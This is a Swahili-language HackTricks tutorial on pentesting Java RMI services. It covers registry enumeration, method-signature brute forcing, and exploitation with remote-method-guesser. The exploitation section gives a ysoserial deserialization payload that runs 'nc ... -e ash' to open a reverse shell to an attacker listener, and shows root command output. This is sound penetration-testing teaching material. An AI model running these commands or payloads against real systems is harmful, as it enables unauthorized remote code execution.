hacktricks/network-services-pentesting/1099-pentesting-java-rmi.md

19 KiB

1098/1099/1050 - Kupima Usalama wa Java RMI - RMI-IIOP

Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi mtaalamu na htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:


Tumia Trickest kujenga na kutumia taratibu za kiotomatiki zinazotumia zana za jamii yenye maendeleo zaidi duniani.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Taarifa Msingi

Kiitwacho Java Remote Method Invocation, au Java RMI, ni mbinu ya RPC inayotumia vitu ambayo inaruhusu kipengele kilichopo kwenye Java virtual machine moja kuita njia kwenye kipengele kilichopo kwenye Java virtual machine nyingine. Hii inawezesha watengenezaji kuandika programu zilizosambazwa kwa kutumia mfumo wa vitu. Maelezo mafupi kuhusu Java RMI kutoka mtazamo wa kushambulia unaweza kupatikana katika mhadhara huu wa blackhat.

Bandari ya chaguo-msingi: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Kawaida, ni vipengele vya Java RMI vya msingi ( RMI Registry na Activation System) tu vinavyounganishwa na bandari za kawaida. Vitu vya mbali vinavyotekeleza programu halisi ya RMI kawaida huunganishwa na bandari za nasibu kama inavyoonyeshwa kwenye matokeo hapo juu.

nmap mara nyingine huwa na shida kutambua huduma za RMI zilizolindwa na SSL. Ikiwa unakutana na huduma ya ssl isiyojulikana kwenye bandari ya kawaida ya RMI, unapaswa kuchunguza zaidi.

Vipengele vya RMI

Kwa maneno rahisi, Java RMI inaruhusu mwandishi wa programu kuweka Java object inapatikana kwenye mtandao. Hii inafungua bandari ya TCP ambapo wateja wanaweza kuunganisha na kuita njia kwenye kitu kinachofanana. Licha ya hili kusikika rahisi, kuna changamoto kadhaa ambazo Java RMI inahitaji kutatua:

  1. Ili kutuma wito wa njia kupitia Java RMI, wateja wanahitaji kujua anwani ya IP, bandari ya kusikiliza, darasa au kiolesura kilichotekelezwa na ObjID ya kitu kilicholengwa ( ObjID ni kitambulisho kipekee na cha nasibu kinachoundwa wakati kitu kinapofanywa kupatikana kwenye mtandao. Inahitajika kwa sababu Java RMI inaruhusu vitu vingi kusikiliza kwenye bandari moja ya TCP).
  2. Wateja wa mbali wanaweza kutenga rasilimali kwenye seva kwa kuita njia kwenye kitu kilichofunuliwa. Mfumo wa uendeshaji wa Java unahitaji kufuatilia ni rasilimali zipi zinazotumiwa bado na zipi zinaweza kukusanywa kama takataka.

Changamoto ya kwanza inatatuliwa na RMI registry, ambayo kimsingi ni huduma ya kutambulisha kwa Java RMI. RMI registry yenyewe pia ni huduma ya RMI, lakini kiolesura kilichotekelezwa na ObjID ni cha kudumu na kinachojulikana na wateja wote wa RMI. Hii inaruhusu wateja wa RMI kutumia RMI registry kwa kujua tu bandari ya TCP inayofanana.

Wakati waendelezaji wanapotaka kufanya Java objects zao zipatikane kwenye mtandao, kawaida huwaunganisha kwenye RMI registry. Registry hifadhi habari zote zinazohitajika kuunganisha kwenye kitu (anwani ya IP, bandari ya kusikiliza, darasa au kiolesura kilichotekelezwa na thamani ya ObjID) na kufanya iwezekane chini ya jina linaloweza kusomwa na binadamu (jina lililounganishwa). Wateja wanaotaka kutumia huduma ya RMI huuliza RMI registry kwa jina lililounganishwa husika na registry hurudisha habari zote zinazohitajika kuunganisha. Hivyo, hali ni msingi sawa na huduma ya kawaida ya DNS. Mfano mdogo unaoonyeshwa hapa chini:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

Changamoto ya pili iliyotajwa hapo juu inatatuliwa na Distributed Garbage Collector (DGC). Hii ni huduma nyingine ya RMI yenye thamani ya ObjID inayopatikana kwenye kila RMI endpoint. Wakati mteja wa RMI anaanza kutumia huduma ya RMI, hutoa habari kwa DGC kwamba kipande cha mbali kinatumika. DGC inaweza kufuatilia idadi ya marejeo na inaweza kusafisha vitu visivyotumiwa.

Pamoja na Activation System iliyopitwa na wakati, hizi ni sehemu tatu za msingi za Java RMI:

  1. RMI Registry (ObjID = 0)
  2. Activation System (ObjID = 1)
  3. Distributed Garbage Collector (ObjID = 2)

Sehemu za msingi za Java RMI zimekuwa njia za mashambulizi zinazojulikana kwa muda mrefu na mapungufu mengi yapo kwenye toleo za zamani za Java. Kutoka mtazamo wa mshambuliaji, sehemu hizi za msingi ni za kuvutia, kwa sababu zimejumuisha darasa/mwingiliano uliojulikana na ni rahisi kuingiliana nao. Hali hii ni tofauti kwa huduma za RMI za desturi. Ili kuita njia kwenye kipande cha mbali, unahitaji kujua saini ya njia inayolingana mapema. Bila kujua saini ya njia iliyopo, hakuna njia ya kuwasiliana na huduma ya RMI.

Uorodheshaji wa RMI

remote-method-guesser ni skana ya mapungufu ya Java RMI inayoweza kutambua mapungufu ya kawaida ya RMI kiotomatiki. Unapoidentify RMI endpoint, unapaswa kujaribu:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Matokeo ya hatua ya uorodheshaji yanaelezewa kwa undani zaidi katika kurasa za nyaraka za mradi. Kulingana na matokeo, unapaswa jaribu kuthibitisha mapungufu yaliyojulikana.

Thamani za ObjID zilizoonyeshwa na remote-method-guesser zinaweza kutumika kubaini muda wa huduma. Hii inaweza kuruhusu kutambua mapungufu mengine:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Kufanya nguvu ya kufikiria kwa nguvu

Hata wakati hakuna udhaifu uliobainika wakati wa uchambuzi, huduma za RMI zilizopo zinaweza bado kufunua kazi hatari. Zaidi ya hayo, ingawa mawasiliano ya RMI kwa vipengele vya msingi vya RMI vinahifadhiwa na vichujio vya deserialization, unapozungumza na huduma za kawaida za RMI, vichujio kama hivyo kawaida havipo. Kujua saini sahihi za mbinu kwenye huduma za RMI ni muhimu kwa hivyo.

Kwa bahati mbaya, Java RMI haisaidii kuchambua mbinu kwenye vitu vya mbali. Hata hivyo, ni sawa kufanya nguvu ya kufikiria kwa saini za mbinu na zana kama remote-method-guesser au rmiscout:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Mbinu zilizotambuliwa zinaweza kuitwa kama ifuatavyo:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Au unaweza kutekeleza mashambulizi ya deserialization kama hivi:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Maelezo zaidi yanaweza kupatikana katika makala hizi:

Isipokuwa kwa kudhani, unapaswa pia kutafuta kwenye injini za utaftaji au GitHub kwa kiolesura au hata utekelezaji wa huduma ya RMI iliyokutana nayo. Jina lililofungwa (bound name) na jina la darasa au kiolesura kilichotekelezwa kinaweza kuwa na manufaa hapa.

Violesura Vinavyojulikana

remote-method-guesser inaashiria darasa au violesura kama vinavyojulikana ikiwa vimeorodheshwa katika hifadhidata ya ndani ya zana ya huduma za RMI zinazojulikana. Katika kesi hizi, unaweza kutumia hatua ya vinavyojulikana kupata maelezo zaidi kuhusu huduma ya RMI inayohusika:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

Vifaa

Marejeo

Amri za Kiotomatiki za HackTricks

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}


Tumia Trickest kujenga na kutumia workflows kwa urahisi zinazotumia zana za jamii zilizoendelea zaidi duniani.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: